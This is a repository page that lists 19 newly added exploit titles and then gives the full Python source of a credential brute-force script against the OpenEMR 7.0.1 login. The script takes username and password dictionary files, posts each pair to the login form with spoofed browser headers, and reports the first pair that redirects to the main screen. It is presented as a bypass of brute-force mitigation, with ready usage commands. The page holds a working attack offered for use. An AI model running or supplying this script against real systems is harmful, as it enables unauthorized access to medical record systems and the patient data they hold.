668314bbda
19 changes to exploits/shellcodes/ghdb FS-S3900-24T4S - Privilege Escalation Virtual Reception v1.0 - Web Server Directory Traversal admidio v4.2.5 - CSV Injection Companymaps v8.0 - Stored Cross Site Scripting (XSS) GLPI 9.5.7 - Username Enumeration OpenEMR v7.0.1 - Authentication credentials brute force PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS) PHPJabbers Simple CMS 5.0 - SQL Injection PHPJabbers Simple CMS V5.0 - Stored Cross-Site Scripting (XSS) phpMyFAQ v3.1.12 - CSV Injection projectSend r1605 - Private file download revive-adserver v5.4.1 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - File Inclusion RCE SoftExpert (SE) Suite v2.1.3 - Local File Inclusion Advanced Host Monitor v12.56 - Unquoted Service Path MilleGPG5 5.9.2 (Gennaio 2023) - Local Privilege Escalation / Incorrect Access Control
90 lines
No EOL
3.1 KiB
Python
Executable file
90 lines
No EOL
3.1 KiB
Python
Executable file
# Exploit Title: OpenEMR v7.0.1 - Authentication credentials brute force
|
|
# Date: 2023-04-28
|
|
# Exploit Author: abhhi (Abhishek Birdawade)
|
|
# Vendor Homepage: https://www.open-emr.org/
|
|
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v7_0_1.tar.gz
|
|
# Version: 7.0.1
|
|
# Tested on: Windows
|
|
|
|
'''
|
|
Example Usage:
|
|
- python3 exploitBF.py -l "http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default" -u username -p pass.txt
|
|
'''
|
|
|
|
import requests
|
|
import sys
|
|
import argparse, textwrap
|
|
from pwn import *
|
|
|
|
#Expected Arguments
|
|
parser = argparse.ArgumentParser(description="OpenEMR <= 7.0.1 Authentication Bruteforce Mitigation Bypass", formatter_class=argparse.RawTextHelpFormatter,
|
|
epilog=textwrap.dedent('''
|
|
Exploit Usage :
|
|
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -u username -p pass.txt
|
|
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -ul user.txt -p pass.txt
|
|
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default -ul /Directory/user.txt -p /Directory/pass.txt'''))
|
|
|
|
parser.add_argument("-l","--url", help="Path to OpenEMR (Example: http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default)")
|
|
parser.add_argument("-u","--username", help="Username to Bruteforce for.")
|
|
parser.add_argument("-ul","--userlist", help="Username Dictionary")
|
|
parser.add_argument("-p","--passlist", help="Password Dictionary")
|
|
args = parser.parse_args()
|
|
|
|
if len(sys.argv) < 2:
|
|
print (f"Exploit Usage: python3 exploitBF.py -h")
|
|
sys.exit(1)
|
|
|
|
# Variable
|
|
LoginPage = args.url
|
|
Username = args.username
|
|
Username_list = args.userlist
|
|
Password_list = args.passlist
|
|
|
|
log.info('OpenEMR Authentication Brute Force Mitigation Bypass Script by abhhi \n ')
|
|
|
|
def login(Username,Password):
|
|
session = requests.session()
|
|
r = session.get(LoginPage)
|
|
|
|
# Progress Check
|
|
process = log.progress('Brute Force')
|
|
|
|
#Specifying Headers Value
|
|
headerscontent = {
|
|
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
|
|
'Referer' : f"{LoginPage}",
|
|
'Origin' : f"{LoginPage}",
|
|
}
|
|
|
|
#POST REQ data
|
|
postreqcontent = {
|
|
'new_login_session_management' : 1,
|
|
'languageChoice' : 1,
|
|
'authUser' : f"{Username}",
|
|
'clearPass' : f"{Password}"
|
|
}
|
|
|
|
#Sending POST REQ
|
|
r = session.post(LoginPage, data = postreqcontent, headers = headerscontent, allow_redirects= False)
|
|
|
|
#Printing Username:Password
|
|
process.status('Testing -> {U}:{P}'.format(U = Username, P = Password))
|
|
|
|
#Conditional loops
|
|
if 'Location' in r.headers:
|
|
if "/interface/main/tabs/main.php" in r.headers['Location']:
|
|
print()
|
|
log.info(f'SUCCESS !!')
|
|
log.success(f"Use Credential -> {Username}:{Password}")
|
|
sys.exit(0)
|
|
|
|
#Reading User.txt & Pass.txt files
|
|
if Username_list:
|
|
userfile = open(Username_list).readlines()
|
|
for Username in userfile:
|
|
Username = Username.strip()
|
|
|
|
passfile = open(Password_list).readlines()
|
|
for Password in passfile:
|
|
Password = Password.strip()
|
|
login(Username,Password) |